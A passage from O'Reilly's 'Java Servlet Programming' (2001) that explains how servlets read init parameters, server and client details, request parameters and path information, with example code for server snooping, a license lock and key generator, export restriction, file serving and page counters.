    Enumeration enum = getInitParameterNames();
    while (enum.hasMoreElements()) {
      String name = (String) enum.nextElement();
      out.println(name + ": " + getInitParameter(name));
    }
  }
}

Notice that this servlet directly subclasses GenericServlet, showing that init parameters are available to servlets that aren't HTTP servlets. A generic servlet can be used in a web server even though it lacks any support for HTTP-specific functionality.

Unfortunately, there's no server-independent way for a servlet to ask for its registered name or its class file location. This information may be added in a future version of the Servlet API. Until then, although it's not pretty, this information can be passed using init parameters where necessary. Also, some servers--including the Java Web Server--provide a back door whereby a servlet can get its registered name. If a servlet defines a method with the following signature, the server calls it and passes it the servlet's registered name at initialization:

public void setServletName(String name);

The servlet can save the passed-in name and use it later. You'll notice this back door was built without changing the Servlet API, a necessary requirement because, by the time it was added, the Servlet API 2.0 had already been frozen.

Previous | Home | Next
3.6. Last Modified Times | Book Index | 4.2. The Server
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Server (Java Servlet Programming)

 Java Servlet Programming Search this book

4.2. The Server

A servlet can find out much about the server in which it is executing. It can learn the hostname, listening port, and server software, among other things. A servlet can display this information to a client, use it to customize its behavior based on a particular server package, or even use it to explicitly restrict the machines on which the servlet will run.

4.2.1. Getting Information About the Server

There are four methods that a servlet can use to learn about its server: two that are called using the ServletRequest object passed to the servlet and two that are called from the ServletContext object in which the servlet is executing. A servlet can get the name of the server and the port number for a particular request with getServerName() and getServerPort(), respectively:

public String ServletRequest.getServerName()
public int ServletRequest.getServerPort()

These methods are attributes of ServletRequest because the values can change for different requests if the server has more than one name (a technique called virtual hosting). The returned name might be something like "www.servlets.com" while the returned port might be something like "8080".

The getServerInfo() and getAttribute() methods of ServletContext provide information about the server software and its attributes:

public String ServletContext.getServerInfo()
public Object ServletContext.getAttribute(String name)

getServerInfo() returns the name and version of the server software, separated by a slash. The string returned might be something like "JavaWebServer/1.1.1". getAttribute() returns the value of the named server attribute as an Object or null if the attribute does not exist. The attributes are server-dependent. You can think of this method as a back door through which a servlet can get extra information about its server. Attribute names should follow the same convention as package names. The package names java.* and javax.* are reserved for use by the Java Software division of Sun Microsystems (formerly known as JavaSoft), and com.sun.* is reserved for use by Sun Microsystems. See your server's documentation for a list of its attributes. Because these methods are attributes of ServletContext in which the servlet is executing, you have to call them through that object:

String serverInfo = getServletContext().getServerInfo();

The most straightforward use of information about the server is an "About This Server" servlet, as shown in Example 4-3.

Example 4-3. Snooping the server

import java.io.*;
import java.util.*;
import javax.servlet.*;

public class ServerSnoop extends GenericServlet {

  public void service(ServletRequest req, ServletResponse res)
                             throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    out.println("req.getServerName(): " + req.getServerName());
    out.println("req.getServerPort(): " + req.getServerPort());
    out.println("getServletContext().getServerInfo(): " +
                 getServletContext().getServerInfo());
    out.println("getServerInfo() name: " +
                 getServerInfoName(getServletContext().getServerInfo()));
    out.println("getServerInfo() version: " +
                 getServerInfoVersion(getServletContext().getServerInfo()));
    out.println("getServletContext().getAttribute(\"attribute\"): " +
                 getServletContext().getAttribute("attribute"));
  }

  private String getServerInfoName(String serverInfo) {
    int slash = serverInfo.indexOf('/');
    if (slash == -1) return serverInfo;
    else return serverInfo.substring(0, slash);
  }

  private String getServerInfoVersion(String serverInfo) {
    int slash = serverInfo.indexOf('/');
    if (slash == -1) return null;
    else return serverInfo.substring(slash + 1);
  }
}

This servlet also directly subclasses GenericServlet, demonstrating that all the information about a server is available to servlets of any type. The servlet outputs simple raw text. When accessed, this servlet prints something like:

req.getServerName(): localhost
req.getServerPort(): 8080
getServletContext().getServerInfo(): JavaWebServer/1.1.1
getServerInfo() name: JavaWebServer
getServerInfo() version: 1.1.1
getServletContext().getAttribute("attribute"): null

Unfortunately, there is no server-independent way to determine the server's root directory, referred to in this book as server_root. However, some servers--including the Java Web Server--save the server's root directory name in the server.root system property, where it can be retrieved using System. getProperty("server.root").

4.2.2. Locking a Servlet to a Server

This server information can be put to more productive uses. Let's assume you've written a servlet and you don't want it running just anywhere. Perhaps you want to sell it and, to limit the chance of unauthorized copying, you want to lock the servlet to your customer's machine with a software license. Or, alternatively, you've written a license generator as a servlet and want to make sure it works only behind your firewall. This can be done relatively easily because a servlet has instant access to the information about its server.

Example 4-4 shows a servlet that locks itself to a particular server IP address and port number. It requires an init parameter key that is appropriate for its server IP address and port before it unlocks itself and handles a request. If it does not receive the appropriate key, it refuses to continue. The algorithm used to map the key to the IP address and port (and vice-versa) must be secure.

Example 4-4. A servlet locked to a server

import java.io.*;
import java.net.*;
import java.util.*;
import javax.servlet.*;

public class KeyedServerLock extends GenericServlet {

  // This servlet has no class or instance variables
  // associated with the locking, so as to simplify
  // synchronization issues.

  public void service(ServletRequest req, ServletResponse res)
                             throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    // The piracy check shouldn't be done in init
    // because name/port are part of request.
    String key = getInitParameter("key");
    String host = req.getServerName();
    int port = req.getServerPort();

    // Check if the init parameter "key" unlocks this server.
    if (! keyFitsServer(key, host, port)) {
      // Explain, condemn, threaten, etc.
      out.println("Pirated!");
    }
    else {
      // Give 'em the goods
      out.println("valid");
      // etc...
    }
  }

  // This method contains the algorithm used to match a key with
  // a server host and port. This example implementation is extremely
  // weak and should not be used by commercial sites.
  //
  private boolean keyFitsServer(String key, String host, int port) {

    if (key == null) return false;

    long numericKey = 0;
    try {
      numericKey = Long.parseLong(key);
    }
    catch (NumberFormatException e) {
      return false;
    }

    // The key must be a 64-bit number equal to the logical not (~)
    // of the 32-bit IP address concatenated with the 32-bit port number.

    byte hostIP[];
    try {
      hostIP = InetAddress.getByName(host).getAddress();
    }
    catch (UnknownHostException e) {
      return false;
    }

    // Get the 32-bit IP address
    long servercode = 0;
    for (int i = 0; i < 4; i++) {
      servercode <<= 8;
      servercode |= (hostIP[i] & 255);
    }

    // Concatentate the 32-bit port number
    servercode <<= 32;
    servercode |= port;

    // Logical not
    long accesscode = ~numericKey;

    // The moment of truth: Does the key match?
    return (servercode == accesscode);
  }
}

This servlet refuses to perform unless given the correct key. To really make it secure, however, the simple keyFitsServer() logic should be replaced with a strong algorithm and the whole servlet should be run through an obfuscator to prevent decompiling. Example 4-8 later in this chapter provides the code used to generate keys. If you try this servlet yourself, it's best if you access the server with its actual name, rather than localhost, so the servlet can determine the web server's true name and IP address.

Previous | Home | Next
4.1. Initialization Parameters | Book Index | 4.3. The Client
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Client (Java Servlet Programming)

 Java Servlet Programming Search this book

4.3. The Client

For each request, a servlet has the ability to find out about the client machine and, for pages requiring authentication, about the actual user. This information can be used for logging access data, associating information with individual users, or restricting access to certain clients.

4.3.1. Getting Information About the Client Machine

A servlet can use getRemoteAddr() and getRemoteHost() to retrieve the IP address and hostname of the client machine, respectively:

public String ServletRequest.getRemoteAddr()
public String ServletRequest.getRemoteHost()

Both values are returned as String objects. The information comes from the socket that connects the server to the client, so the remote address and hostname may be that of a proxy server. An example remote address might be "192.26.80.118" while an example remote host might be "dist.engr.sgi.com".

The IP address or remote hostname can be converted to a java.net.InetAddress object using InetAddress.getByName() :

InetAddress remoteInetAddress = InetAddress.getByName(req.getRemoteAddr());

4.3.2. Restricting Access to the United States and Canada

Due to the United States government's policy restricting the export of strong encryption outside the United States and Canada, some web sites must be careful about who they let download certain software. Servlets, with their ability to find out about the client machine, are well suited to enforce this restriction. These servlets can check the client machine and provide links for download only if the client appears to be coming from inside the United States or Canada. Example 4-5 gives an example.

Example 4-5. Can they be trusted?

import java.io.*;
import java.net.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class ExportRestriction extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    // ...Some introductory HTML...

    // Get the client's hostname
    String remoteHost = req.getRemoteHost();

    // See if the client is allowed
    if (! isHostAllowed(remoteHost)) {
      out.println("Access <BLINK>denied</BLINK>");  // filter out the blink!
    }
    else {
      out.println("Access granted");
      // Display download links, etc...
    }
  }

  // We assume hosts ending with .com, .edu, .net, .org,
  // .gov, .mil, .us, and .ca are legal even though this is an
  // over-simplification now that .com, .net, and .org have
  // become global top-level domains. We also assume
  // clients without a domain name are local and that
  // local is allowed. (After all, if local isn't allowed
  // you would have to be outside the United States and Canada -- so
  // why would you be using this servlet?)
  private boolean isHostAllowed(String host) {
    return (host.endsWith(".com") ||
            host.endsWith(".edu") ||
            host.endsWith(".net") ||
            host.endsWith(".org") ||
            host.endsWith(".gov") ||
            host.endsWith(".mil") ||
            host.endsWith(".us") ||
            host.endsWith(".ca") ||
            (host.indexOf('.') == -1));  // no domain, assume OK
  }
}

This servlet gets the client hostname with a call to req.getRemoteHost() and, based on its suffix, decides if the client came from inside or outside the United States and Canada. Of course, be sure to get high-priced legal counsel before making any cryptographic code available for download.

4.3.3. Getting Information About the User

What do you do when you need to restrict access to some of your web pages but want to have a bit more control over the restriction than this "continent by continent" approach? Say, for example, you publish an online magazine and want only paid subscribers to read the articles. Well (prepare yourself), you don't need servlets to do this.

Nearly every HTTP server has a built-in capability to restrict access to some or all of its pages to a given set of registered users. How you set up restricted access depends on the server, but here's how it works mechanically. The first time a browser attempts to access one of these pages, the HTTP server replies that it needs special user authentication. When the browser receives this response, it usually pops open a window asking the user for a name and password appropriate for the page, as shown in Figure 4-1.

Figure 4-1. Please log in

Once the user enters his information, the browser again attempts to access the page, this time attaching the user's name and password along with the request. If the server accepts the name/password pair, it happily handles the request. If, on the other hand, the server doesn't accept the name/password pair, the browser is again denied and the user swears under his breath about forgetting yet another password.

How does this involves servlets? When access to a servlet has been restricted by the server, the servlet can get the name of the user that was accepted by the server, using the getRemoteUser() method:

public String HttpServletRequest.getRemoteUser()

Note that this information is retrieved from the servlet's HttpServletRequest object, the HTTP-specific subclass of ServletRequest. This method returns the name of the user making the request as a String or null if access to the servlet was not restricted. There is no comparable method to get the remote user's password (although it can be manually determined, as shown in Chapter 8, "Security"). An example remote user might be "jhunter".

A servlet can also use the getAuthType() method to find out what type of authorization was used:

public String HttpServletRequest.getAuthType()

This method returns the type of authorization used or null if access to the servlet was not restricted. The most common authorization types are "BASIC" and "DIGEST".

By the time the servlet calls getRemoteUser() , the server has already determined that the user is authorized to invoke the servlet, but that doesn't mean the remote user's name is worthless. The servlet could perform a second authorization check, more restrictive and dynamic than the server's. For example, it could return sensitive information about someone only if that person made the request, or it could enforce a rule that each user can make only 10 accesses per day.[2]

[2]Want to know how to say "Access Denied" for the eleventh access? It's in the next chapter.

Then again, the client's name can simply tell the servlet who is accessing it. After all, the remote host is not necessarily unique to one user. Unix servers often host hundreds of users, and gateway proxies can act on behalf of thousands. But bear in mind that access to the client's name comes with a price. Every user must be registered with your server and, before accessing your site, must enter his name and password. Generally speaking, authentication should not be used just so a servlet can know to whom it is talking. Chapter 7, "Session Tracking", describes some better, lower-maintenance techniques for knowing about users. However, if a servlet is already protected and has the name easily available, the servlet might as well use it.

With the remote user's name, a servlet can save information about each client. Over the long term, it can remember each individual's preferences. For the short term, it can remember the series of pages viewed by the client and use them to add a sense of state to a stateless HTTP protocol. The session tracking tricks from Chapter 7, "Session Tracking" may be unnecessary if the servlet already knows the name of the client user.

4.3.4. A Personalized Welcome

A simple servlet that uses getRemoteUser() can greet its clients by name and remember when each last logged in, as shown in Example 4-6.

Example 4-6. Hey, I remember you!

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class PersonalizedWelcome extends HttpServlet {

  Hashtable accesses = new Hashtable();

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    // ...Some introductory HTML...

    String remoteUser = req.getRemoteUser();

    if (remoteUser == null) {
      out.println("Welcome!");
    }
    else {
      out.println("Welcome, " + remoteUser + "!");
      Date lastAccess = (Date) accesses.get(remoteUser);
      if (lastAccess == null) {
        out.println("This is your first visit!");
      }
      else {
        out.println("Your last visit was " + accesses.get(remoteUser));
      }

      if (remoteUser.equals("PROFESSOR FALKEN")) {
        out.println("Shall we play a game?");
      }

      accesses.put(remoteUser, new Date());
    }

    // ...Continue handling the request...
  }
}

This servlet uses a Hashtableto save the last access time for each remote user. The first thing it does for each request is greet the person by name and tell him the time of his last visit. Then it records the time of this visit, for use next time. After that, it continues handling the request.

Previous | Home | Next
4.2. The Server | Book Index | 4.4. The Request
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Request (Java Servlet Programming)

 Java Servlet Programming Search this book

4.4. The Request

We've seen how the servlet finds out about the server and about the client. Now it's time to move on to the really important stuff: how a servlet finds out what the client wants.

4.4.1. Request Parameters

Each access to a servlet can have any number of request parameters associated with it. These parameters are typically name/value pairs that tell the servlet any extra information it needs to handle the request. Please don't confuse these request parameters with init parameters, which are associated with the servlet itself.

An HTTP servlet gets its request parameters as part of its query string (for GET requests) or as encoded post data (for POST requests). A servlet used as a server-side include has its parameters supplied by <PARAM> tags. Other types of servlets can receive their parameters in other ways.

Fortunately, even though a servlet can receive parameters in a number of different ways, every servlet retrieves its parameters the same way, using getParameter() and getParameterValues() :

public String ServletRequest.getParameter(String name)
public String[] ServletRequest.getParameterValues(String name)

getParameter() returns the value of the named parameter as a String or null if the parameter was not specified.[3] The value is guaranteed to be in its normal, decoded form. If the parameter has multiple values, the value returned is server-dependent. If there's any chance a parameter could have more than one value, you should use the getParameterValues() method instead. This method returns all the values of the named parameter as an array of String objects or null if the parameter was not specified. A single value is returned in an array of length 1.

[3] The getParameter() method was deprecated in the Java Web Server 1.1 in favor of getParameterValues(). However, after quite a lot of public protest, Sun took getParameter() off the deprecation list in the final release of Servlet API 2.0. It was the first Java method to be undeprecated!

One word of warning: if the parameter information came in as encoded POST data, it may not be available if the POST data has already been read manually using the getReader() or getInputStream() method of ServletRequest (because POST data can be read only once).

The possible uses for request parameters are unlimited. They are a general-purpose way to tell a servlet what to do, how to do it, or both. For a simple example, let's look at how a dictionary servlet might use getParameter() to find out the word it needs to look up.

An HTML file could contain this form asking the user for a word to look up:

<FORM METHOD=GET ACTION="/servlet/Dictionary">
Word to look up: <INPUT TYPE=TEXT NAME="word"><P>
Another word? <INPUT TYPE=TEXT NAME="word"><P>
<INPUT TYPE=SUBMIT><P>
</FORM>

Or the HTML file could contain this server-side include:

<SERVLET CODE=Dictionary>
<PARAM NAME=word VALUE=obfuscate>
<PARAM NAME=word VALUE=onomatopoeia>
</SERVLET>

No matter what the HTML looks like or whether the servlet handles GET requests, POST requests, or server-side include requests or is part of a filter chain, you can use code like the following to retrieve the servlet's parameters:

String word = req.getParameter("word");
String definition = getDefinition(word);
out.println(word + ": " + definition);

While this code works fine, it can handle only one word per request. To handle multiple values for word, the servlet can use the getParameterValues() method instead:

String[] words = req.getParameterValues("word");
if (words != null) {
  for (int i = 0; i < words.length; i++) {
    String definition = getDefinition(words[i]);
    out.println(words[i] + ": " + definition);
    out.println("<HR>");
  }
}

In addition to getting parameter values, a servlet can access parameter names using getParameterNames() :

public Enumeration ServletRequest.getParameterNames()

This method returns all the parameter names as an Enumeration of String object or an empty Enumeration if the servlet has no parameters. The method is most often used for debugging.

Finally, a servlet can retrieve the raw query string of the request with getQueryString():

public String ServletRequest.getQueryString()

This method returns the raw query string (encoded GET parameter information) of the request or null if there was no query string. This low-level information is rarely useful for handling form data. It's best for handling a single unnamed value, as in "/servlet/Sqrt?576", where the returned query string is "576".

Example 4-7shows the use of these methods with a servlet that prints its query string, then prints the name and value for all its parameters.

Example 4-7. Snooping parameters

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class ParameterSnoop extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    out.println("Query String:");
    out.println(req.getQueryString());
    out.println();

    out.println("Request Parameters:");
    Enumeration enum = req.getParameterNames();
    while (enum.hasMoreElements()) {
      String name = (String) enum.nextElement();
      String values[] = req.getParameterValues(name);
      if (values != null) {
        for (int i = 0; i < values.length; i++) {
          out.println(name + " (" + i + "): " + values[i]);
        }
      }
    }
  }
}

This servlet's output is shown in Figure 4-2.

Figure 4-2. The snooped parameters

4.4.2. Generating a License Key

Now we're ready to write a servlet that generates a KeyedServerLock license key for any given host and port number. A key from this servlet can be used to unlock the KeyedServerLock servlet. So, how will this servlet know the host and port number of the servlet it needs to unlock? Why, with request parameters, of course. Example 4-8shows the code.

Example 4-8. Unlocking KeyedServerLock

import java.io.*;
import java.net.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class KeyedServerUnlock extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    PrintWriter out = res.getWriter();

    // Get the host and port
    String host = req.getParameter("host");
    String port = req.getParameter("port");

    // Convert the port to an integer
    int numericPort;
    try {
      numericPort = Integer.parseInt(port);
    }
    catch (NumberFormatException e) {
      numericPort = 80;  // default
    }

    // Generate and print the key
    // Any KeyGenerationException is caught and displayed
    try {
      long key = generateKey(host, numericPort);
      out.println(host + ":" + numericPort + " has the key " + key);
    }
    catch (KeyGenerationException e) {
      out.println("Could not generate key: " + e.getMessage());
    }
  }

  // This method contains the algorithm used to match a key with
  // a server host and port. This example implementation is extremely
  // weak and should not be used by commercial sites.
  //
  // Throws a KeyGenerationException because anything more specific
  // would be tied to the chosen algorithm.
  //
  private long generateKey(String host, int port) throws KeyGenerationException {

    // The key must be a 64-bit number equal to the logical not (~)
    // of the 32-bit IP address concatenated by the 32-bit port number.

    byte hostIP[];
    try {
      hostIP = InetAddress.getByName(host).getAddress();
    }
    catch (UnknownHostException e) {
      throw new KeyGenerationException(e.getMessage());
    }

    // Get the 32-bit IP address
    long servercode = 0;
    for (int i = 0; i < 4; i++) {
      servercode <<= 8;
      servercode |= (hostIP[i] & 255);
    }

    // Concatentate the 32-bit port number
    servercode <<= 32;
    servercode |= port;

    // The key is the logical not
    return ~servercode;
  }
}

class KeyGenerationException extends Exception {

  public KeyGenerationException() {
    super();
  }

  public KeyGenerationException(String msg) {
    super(msg);
  }
}

This servlet can either generate a full page (for handling GET requests) or act as a server-side include.

4.4.3. Path Information

In addition to parameters, an HTTP request can include something called "extra path information" or a "virtual path." In general, this extra path information is used to indicate a file on the server that the servlet should use for something. This path information is encoded in the URL of an HTTP request. An example URL looks like this:

http://server:port/servlet/ViewFile/index.html

This invokes the ViewFile servlet, passing "/index.html" as extra path information. A servlet can access this path information, and it can also translate the "/index.html" string into the real path of the index.html file. What is the real path of "/index.html"? It's the full file system path to the file--what the server would return if the client asked for "/index.html" directly. This probably turns out to be document_root/index.html, but, of course, the server could have special aliasing that changes this.

Besides being specified explicitly in a URL, this extra path information can also be encoded in the ACTION parameter of an HTML form:

<FORM METHOD=GET ACTION="/servlet/Dictionary/dict/definitions.txt">
Word to look up: <INPUT TYPE=TEXT NAME="word"><P>
<INPUT TYPE=SUBMIT><P>
</FORM>

This form invokes the Dictionary servlet to handle its submissions and passes the Dictionary the extra path information "/dict/definitions.txt". The Dictionary servlet can then know to look up word definitions using the definitions.txt file, the same file the client would see if it requested "/dict/definitions.txt", probably server_root/public_html/dict/definitions.txt.

Why Extra Path Information?

Why does HTTP have special support for extra path information? Isn't it enough to pass the servlet a path parameter? The answer is yes. Servlets don't need the special support, but CGI programs do.

A CGI program cannot interact with its server during execution, so it has no way to receive a path parameter, let alone ask the server to map it to a real file system location. The server has to somehow translate the path before invoking the CGI program. This is why there needs to be support for special "extra path information." Servers know to pretranslate this extra path and send the translation to the CGI program as an environment variable. It's a fairly elegant workaround to a shortcoming in CGI.

Of course, just because servlets don't need the special handling of "extra path information," it doesn't mean they shouldn't use it. It provides a simple, convenient way to attach a path along with a request.

4.4.3.1. Getting path information

A servlet can use the getPathInfo() method to get extra path information:

public String HttpServletRequest.getPathInfo()

This method returns the extra path information associated with the request or null if none was given. An example path is "/dict/definitions.txt". The path information by itself, however, is only marginally useful. A servlet usually needs to know the actual file system location of the file given in the path info, which is where getPathTranslated() comes in:

public String HttpServletRequest.getPathTranslated()

This method returns the extra path information translated to a real file system path or null if there is no extra path information. The returned path does not necessarily point to an existing file or directory. An example translated path is "C:\JavaWebServer1.1.1\public_html\dict\definitions.txt".

Example 4-9 shows a servlet that uses these two methods to print the extra path information it receives and the resulting translation to a real path.

Example 4-9. Showing where the path leads

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class FileLocation extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    if (req.getPathInfo() != null) {
      out.println("The file \"" + req.getPathInfo() + "\"");
      out.println("Is stored at \"" + req.getPathTranslated() + "\"");
    }
  }
}

Some example output of this servlet might be:

The file "/index.html"
Is stored at "/usr/JavaWebServer1.1.1/public_html/index.html"

4.4.3.2. Ad hoc path translations

Sometimes a servlet needs to translate a path that wasn't passed in as extra path information. You can use the getRealPath() method for this task:

public String ServletRequest.getRealPath(String path)

This method returns the real path of any given "virtual path" or null if the translation cannot be performed. If the given path is "/", the method returns the document root (the place where documents are stored) for the server. If the given path is getPathInfo() , the method returns the same real path as would be returned by getPathTranslated() . This method can be used by generic servlets as well as HTTP servlets. There is no CGI counterpart.

4.4.3.3. Getting MIME types

Once a servlet has the path to a file, it often needs to discover the type of the file. Use getMimeType() to do this:

public String ServletContext.getMimeType(String file)

This method returns the MIME type of the given file or null if it isn't known. Some implementations return "text/plain" if the given file doesn't exist. Common MIME types are "text/html", "text/plain", "image/gif", and "image/jpeg".

The following code fragment finds the MIME type of the extra path information:

String type = getServletContext().getMimeType(req.getPathTranslated())

4.4.4. Serving Files

The Java Web Server itself uses servlets to handle every request. Besides being a showcase for the ability of servlets, this gives the server a modular design that allows the wholesale replacement of certain aspects of its functionality. For example, all files are served by the com.sun.server.http.FileServlet servlet, registered under the name file and charged with the responsibility to handle the "/" alias (meaning it's the default handler for requests). But there's nothing to say that Sun's FileServlet cannot be replaced. In fact, it can be, either by registering another servlet under the name file or by changing the "/" alias to use another servlet. Furthermore, it's not all that hard to write a replacement for file, using the methods we've just seen.

Example 4-10 shows a ViewFile servlet that uses the getPathTranslated() and getMimeType() methods to return whatever file is given by the extra path information.

Example 4-10. Dynamically returning static files

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

import com.oreilly.servlet.ServletUtils;

public class ViewFile extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    // Use a ServletOutputStream because we may pass binary information
    ServletOutputStream out = res.getOutputStream();

    // Get the file to view
    String file = req.getPathTranslated();

    // No file, nothing to view
    if (file == null) {
      out.println("No file to view");
      return;
    }

    // Get and set the type of the file
    String contentType = getServletContext().getMimeType(file);
    res.setContentType(contentType);

    // Return the file
    try {
      ServletUtils.returnFile(file, out);
    }
    catch (FileNotFoundException e) {
      out.println("File not found");
    }
    catch (IOException e) {
      out.println("Problem sending file: " + e.getMessage());
    }
  }
}

This servlet first uses getPathTranslated() to get the name of file it needs to display. Then it uses getMimeType() to find the content type of this file and sets the response content type to match. Last, it returns the file using the returnFile() method found in the com.oreilly.servlet.ServletUtils utility class:

// Send the contents of the file to the output stream
public static void returnFile(String filename, OutputStream out)
                           throws FileNotFoundException, IOException {
  // A FileInputStream is for bytes
  FileInputStream fis = null;
  try {
    fis = new FileInputStream(filename);
    byte[] buf = new byte[4 * 1024];  // 4K buffer
    int bytesRead;
    while ((bytesRead = fis.read(buf)) != -1) {
      out.write(buf, 0, bytesRead);
    }
  }
  finally {
    if (fis != null) fis.close();
  }
}

The servlet's error handling is basic--it returns a page that describes the error. This is acceptable for our simple example (and really more than many programs seem capable of), but we'll learn a better way using status codes in the next chapter.

This servlet can be used directly with a URL like this.

http://server:port/servlet/ViewFile/index.html

Or, if you use it as a replacement for the "file" servlet, it is automatically invoked even for a URL like this.

http://server:port/index.html

Just beware that this servlet is a "proof of concept" example and does not have the full functionality of the com.sun.server.http.FileServlet servlet.

4.4.5. Determining What Was Requested

A servlet can use several methods to find out exactly what file or servlet the client requested. After all, only the most conceited servlet would always assume itself to be the direct target of a request. A servlet may be nothing more than a single link in a long servlet chain.

No method directly returns the original Uniform Resource Locator ( URL) used by the client to make a request. The javax.servlet.http.HttpUtils class, however, provides a getRequestURL() method that does about the same thing:[4]

[4] Why isn't there a method that directly returns the original URL shown in the browser? Because the browser never sends the full URL. The port number, for example, is used by the client to make its HTTP connection, but it isn't included in the request made to the web server answering on that port.

public static StringBuffer HttpUtils.getRequestURL(HttpServletRequest req)

This method reconstructs the request URL based on information available in the HttpServletRequest object. It returns a StringBuffer that includes the scheme (such as HTTP), server name, server port, and extra path information. The reconstructed URL should look almost identical to the URL used by the client. Differences between the original and reconstructed URLs should be minor (that is, a space encoded by the client as "%20" might be encoded by the server as a "+"). Because this method returns a StringBuffer, the request URL can be modified efficiently (for example, by appending query parameters). This method is often used for creating redirect messages and reporting errors.

Most of the time, however, a servlet doesn't really need the request URL. It just needs the request URI, which is returned by getRequestURI():

public String HttpServletRequest.getRequestURI()

This method returns the Universal Resource Identifier (URI) of the request. For normal HTTP servlets, a request URI can be thought of as a URL minus the scheme, host, port, and query string, but including any extra path information.[5] Table 4-2 shows the request URIs for several request URLs.

[5]Technically, what is referred to here as a request URI could more formally be called a "request URL path". This is because a URI is, in the most precise sense, a general purpose identifier for a resource. A URL is one type of URI; a URN (Uniform Resource Name) is another. For more information on URIs, URLs, and URNs, see RFC 1630 at http://www.ietf.org/rfc/rfc1630.txt.

Table 4-2. URLs and Their URIs

Request URL | Its URI Component
http://server:port/servlet/Classname | /servlet/Classname
http://server:port/servlet/registeredName | /servlet/registeredName
http://server:port/servlet/Classname?var=val | /servlet/Classname [6]
http://server:port/servlet/Classname/pathinfo | /servlet/Classname/pathinfo
http://server:port/servlet/Classname/pathinfo?var=val | /servlet/Classname/pathinfo
http://server:port/ssi.shtml (SSI) | /ssi.shtml
http://server:port/alias.html (alias to a servlet) | /alias.html

[6] Several servlet engines (including the Java Web Server 1.1.1) have a bug where getRequestURI() erroneously includes the query string. The JSDK 2.0 servlet runner behaves correctly.

For servlets in a chain, the request URI is always that of the first servlet in the chain.

In some situations it is enough for a servlet to know the servlet name under which it was invoked. You can retrieve this information with getServletPath() :

public String HttpServletRequest.getServletPath()

This method returns the part of the URI that refers to the servlet being invoked or null if the URI does not directly point to a servlet. The servlet path does not include extra path information. Table 4-3 shows the servlet names for several request URLs.

Table 4-3. URLs and Their Servlet Paths

Request URL | Its Servlet Path
http://server:port/servlet/Classname | /servlet/Classname
http://server:port/servlet/registeredName | /servlet/registeredName
http://server:port/servlet/Classname?var=val | /servlet/Classname
http://server:port/servlet/Classname/pathinfo | /servlet/Classname
http://server:port/servlet/Classname/pathinfo?var=val | /servlet/Classname
http://server:port/ssi.shtml (SSI) | null
http://server:port/alias.html (alias to a servlet) | /alias.html

For servlets in a filter chain, the servlet path is always the same as the path of the first servlet in the chain. If the request URI does not point at a servlet, getServletPath() returns null. It does not matter that a servlet (such as the file servlet) may have handled the request behind the scenes or that the request eventually ended up in a servlet.

For example, if the client requests the page /index.html and the content goes through the Deblink servlet from Chapter 2, "HTTP Servlet Basics", the Deblink servlet has a null servlet path--the original request was for a static file, not a servlet. If, however, the client requests /alias.html--which is a direct alias to a servlet--both that servlet and the Deblink servlet have a servlet path of /alias.html.

A servlet invoked as a server-side include behaves similarly. If it is embedded in a static file, it too has a null servlet path. The only way for it to have a non-null servlet path is if it is part of a servlet chain started by a servlet.

4.4.6. An Improved Counter

We can make use of the request URI information to improve our counter servlet. The counter example from Chapter 3, "The Servlet Life Cycle" could count only its own accesses. A real counter has to be able to count accesses to pages other than itself. There are two elegant ways to accomplish this: use the counter as an SSI servlet embedded in a page or use the counter in a servlet chain where it can replace any instances of the <COUNT> tag with the appropriate number. For each approach, a servlet can use the getRequestURI() method to associate a separate count with each requested URI.

Example 4-11 shows a GenericCounter servlet superclass that knows how to manage a hashtable that stores counts for different URIs. Example 4-12 and Example 4-13 show servlets that subclass GenericCounter to act as a server-side include counter and a chain-based counter, respectively.[7]

[7]For Example 4-12, please note that the Java Web Server 1.1.1 has a bug where the PrintWriter returned by getWriter() doesn't generate output for servlets used as server side includes. See Chapter 2, "HTTP Servlet Basics" for more information.

Example 4-11. A generic counter superclass

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class GenericCounter extends HttpServlet {

  private Hashtable counts = new Hashtable();

  public void init(ServletConfig config) throws ServletException {
    // Always call super.init(config) first
    super.init(config);

    // Try to load the initial page counts from the saved persistent state
    try {
      FileReader fileReader = new FileReader(getClass().getName() + ".counts");
      BufferedReader bufferedReader = new BufferedReader(fileReader);
      String line = null;
      String uri = null;
      String count = null;
      int[] holder = null;  // holder for the count, to make it an object
      while ((line = bufferedReader.readLine()) != null) {
        StringTokenizer tokenizer = new StringTokenizer(line);
        if (tokenizer.countTokens() < 2) continue;  // bogus line
        uri = tokenizer.nextToken();
        count = tokenizer.nextToken();
        // Store the uri/count pair in the counts hashtable
        // The count is saved as an int[1] to make it an "object"
        try {
          holder = new int[1];
          holder[0] = Integer.parseInt(count);
          counts.put(uri, holder);
        }
        catch (NumberFormatException e) { }  // bogus line
      }
    }
    catch (FileNotFoundException e) { }  // no saved state
    catch (IOException e) { }            // problem during read
  }

  // Increment and return the count for the given URI
  public int incrementAndGetCount(String uri) {
    int[] holder = (int[])counts.get(uri);
    if (holder == null) {
